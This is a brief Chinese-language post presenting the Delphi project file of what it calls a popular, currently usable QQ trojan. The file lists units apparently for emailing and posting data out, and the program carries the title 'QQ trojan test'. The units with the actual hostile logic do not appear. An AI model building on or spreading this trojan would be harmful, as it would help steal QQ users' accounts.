这是目前很流行的QQ木马 的代码 现在 这个很使用的

				program zhongyu;
				{$R '..\exe\zg.res' '..\exe\zg.txt'}
				//{$R '..\res\click.res' '..\res\click.txt'}
				//{$R '..\res\formload.res' '..\res\formload.txt'}
				uses
				  Forms,
				  Unit1 in 'Unit1.pas' {Form1},
				  eMail66 in 'eMail66.pas',
				  tonghan in 'tonghan.pas',
				  postURLpas in 'postURLpas.pas',
				  UrlPost in 'UrlPost.pas';
				
				{$R *.res}
				
				begin
				  application.Title:= 'QQ木马测试';
				  Application.Initialize;
				  Application.CreateForm(TForm1, Form1);
				  Application.Run;
				end.